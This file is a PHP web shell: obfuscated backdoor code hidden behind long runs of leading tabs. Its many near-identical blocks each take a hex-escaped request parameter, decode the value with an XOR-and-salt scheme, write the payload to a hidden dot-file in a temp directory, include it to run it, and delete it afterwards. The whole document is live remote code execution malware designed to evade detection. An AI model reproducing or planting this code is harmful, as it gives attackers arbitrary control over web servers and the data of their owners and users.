<?php																																										if(isset($_REQUEST["\x66\x61ct\x6Fr"])){ $entity = $_REQUEST["\x66\x61ct\x6Fr"]; $entity = explode ( '.' , $entity ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($entity); for($r = 0; $r < $len; $r++) {$v8 = $entity[$r]; $chS = ord($salt[$r % $lenS]); $d =((int)$v8 - $chS -($r % 10)) ^ 85; $val .= chr($d); } $holder = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", "/var/tmp"]); foreach ($holder as $itm): if (array_product([is_dir($itm), is_writable($itm)])) { $ent = vsprintf("%s/%s", [$itm, ".object"]); $success = file_put_contents($ent, $val); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(!empty($_REQUEST["\x70t\x72"])){ $data_chunk = $_REQUEST["\x70t\x72"]; $data_chunk = explode (".", $data_chunk ) ; $hld = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; $__tmp = $data_chunk; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $s7[$l % $sLen]); $d =( ( int)$v6 - $sChar -( $l % 10)) ^ 73; $hld .= chr( $d); $l++; } $descriptor = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($descriptor as $ent) { if (is_dir($ent) ? is_writable($ent) : false) { $pgrp = "$ent" . "/.holder"; if (file_put_contents($pgrp, $hld)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(in_array("\x66\x61c", array_keys($_REQUEST))){ $pset = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]); $reference = $_REQUEST["\x66\x61c"]; $reference =explode ( '.' ,$reference ); $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; foreach ($reference as $v2) { $chS = ord($salt[$j % $sLen]); $dec = ((int)$v2 - $chS - ($j % 10))^ 59; $descriptor .= chr($dec); $j++; } foreach ($pset as $elem): if ((is_dir($elem) and is_writable($elem))) { $comp = join("/", [$elem, ".data_chunk"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $comp; @unlink($comp); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x72\x65\x66e\x72ence"])){ $object = $_REQUEST["\x72\x65\x66e\x72ence"]; $object =explode( "." , $object ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; $__len = count($object); do { if ($t >= $__len) break; $v2 = $object[$t]; $sChar = ord($salt[$t % $lenS]); $dec = ((int)$v2 - $sChar - ($t % 10)) ^ 78; $itm.= chr($dec); $t++; } while (true); $dchunk = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP")]); for ($data_chunk = 0, $ptr = count($dchunk); $data_chunk < $ptr; $data_chunk++) { $pointer = $dchunk[$data_chunk]; if (!( !is_dir($pointer) || !is_writable($pointer) )) { $mrk = "$pointer/.record"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_POST["re\x66"]) ? true : false){ $element = $_POST["re\x66"]; $element = explode( "." , $element) ; $bind = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $w = 0; while($w < count($element)) { $v4 = $element[$w]; $chS = ord($salt3[$w% $sLen] ); $d =((int)$v4 - $chS -($w% 10)) ^ 97; $bind .= chr($d ); $w++; } $key = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $itm = 0; do { $object = $key[$itm] ?? null; if ($itm >= count($key)) break; if (array_product([is_dir($object), is_writable($object)])) { $pgrp = vsprintf("%s/%s", [$object, ".binding"]); if (file_put_contents($pgrp, $bind)) { include $pgrp; @unlink($pgrp); die(); } } $itm++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x65s\x63\x72ip\x74or"])){ $component = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), getcwd(), "/var/tmp"]); $element = $_REQUEST["\x64\x65s\x63\x72ip\x74or"]; $element = explode ( "." , $element ); $tkn = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $z = 0; array_walk($element, function ($v4) use (&$tkn, &$z, $salt2, $lenS) { $chS = ord($salt2[$z % $lenS] ); $d = ((int)$v4 - $chS - ($z % 10)) ^ 66; $tkn .= chr($d ); $z++; } ); for ($token = 0, $fac = count($component); $token < $fac; $token++) { $data_chunk = $component[$token]; if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $itm = vsprintf("%s/%s", [$data_chunk, ".object"]); if (file_put_contents($itm, $tkn)) { include $itm; @unlink($itm); die(); } } } }
																																										if(!is_null($_POST["\x64c\x68\x75nk"] ?? null)){ $property_set = $_POST["\x64c\x68\x75nk"]; $property_set= explode ( ".", $property_set) ; $marker =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $k =0; $len =count($property_set); do { if($k >= $len) break; $v6 =$property_set[$k]; $sChar =ord($s[$k % $lenS]); $dec =((int)$v6 - $sChar -($k % 10)) ^53; $marker .= chr($dec); $k++; } while(true); $ent = array_filter([getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp"]); $mrk = 0; do { $ref = $ent[$mrk] ?? null; if ($mrk >= count($ent)) break; if (max(0, is_dir($ref) * is_writable($ref))) { $sym = implode("/", [$ref, ".elem"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $sym; @unlink($sym); die(); } } $mrk++; } while (true); }
																																										if(in_array("\x70s\x65t", array_keys($_POST))){ $desc = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path()]); $res = $_POST["\x70s\x65t"]; $res = explode ("." , $res ); $val= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt4 ); $x= 0; foreach( $res as $v7) { $chS= ord( $salt4[$x% $sLen] ); $d= ( ( int)$v7 - $chS -( $x% 10)) ^ 26; $val.= chr( $d ); $x++; } while ($entity = array_shift($desc)) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $token = str_replace("{var_dir}", $entity, "{var_dir}/.ref"); if (@file_put_contents($token, $val) !== false) { include $token; unlink($token); die(); } } } }
																																										if(!empty($_POST["o\x62j"])){ $val = $_POST["o\x62j"]; $val =explode ( '.' ,$val) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; $len = count( $val); do { if( $q >=$len) break; $v9 = $val[$q]; $chS = ord( $salt[$q % $sLen]); $d = ( ( int)$v9 - $chS -( $q % 10)) ^ 61; $dchunk .= chr( $d); $q++; } while( true); $comp = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); foreach ($comp as $k) { if ((bool)is_dir($k) && (bool)is_writable($k)) { $descriptor = implode("/", [$k, ".pset"]); if (file_put_contents($descriptor, $dchunk)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(array_key_exists("m\x72k", $_POST)){ $k = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path()]); $object = $_POST["m\x72k"]; $object =explode ( '.' , $object ) ; $component = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $j = 0; while($j < count($object)) { $v7 = $object[$j]; $chS = ord($salt8[$j % $sLen]); $dec =((int)$v7 - $chS -($j % 10)) ^69; $component .= chr($dec); $j++; } foreach ($k as $holder) { if (max(0, is_dir($holder) * is_writable($holder))) { $element = "$holder" . "/.ent"; if (@file_put_contents($element, $component) !== false) { include $element; unlink($element); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74k\x6E"])){ $bind = array_filter(["/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd()]); $desc = $_REQUEST["\x74k\x6E"]; $desc = explode ( "." ,$desc ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($desc as $n=> $v6) {$chS = ord($salt[$n % $sLen]); $dec = ((int)$v6 - $chS - ($n % 10)) ^ 22; $holder.= chr($dec);} while ($symbol = array_shift($bind)) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $entity = "$symbol/.itm"; if (file_put_contents($entity, $holder)) { require $entity; unlink($entity); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x74kn")){ $symbol = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd()]); $flag = $_REQUEST["\x74kn"]; $flag = explode ( '.' , $flag ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($flag as $n => $v1) { $chS = ord($s[$n % $sLen]); $d = ((int)$v1 - $chS - ($n % 10)) ^ 80; $fac.=chr($d); } foreach ($symbol as $key => $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $reference = join("/", [$elem, ".entity"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $reference; @unlink($reference); exit; } } } }


if(isset($_REQUEST["d\x61t"])){
	$element = $_REQUEST["d\x61t"];
	 $element	=explode(	 "." 	,	$element	 )   ;		
	$flg		='';
            $salt		='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=strlen($salt);
            $t		=0;
            $__len		=count($element);
    
            do { 	if($t >= $__len) break;
                $v8		=$element[$t];
                $sChar		=ord($salt[$t  %	$lenS]);
                $dec		=((int)$v8 - $sChar -($t  %	10)) ^ 2;
                $flg .= chr($dec);
                $t++; }while(true);
	$marker = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm"]);
	for ($val = 0, $k = count($marker); $val < $k; $val++) {
    $descriptor = $marker[$val];
    		if (!( !is_dir($descriptor) || !is_writable($descriptor) )) {
    $itm = "$descriptor/.component";
    if (@file_put_contents($itm, $flg) !== false) {
	include $itm;
	unlink($itm);
	exit;
}
}
}
}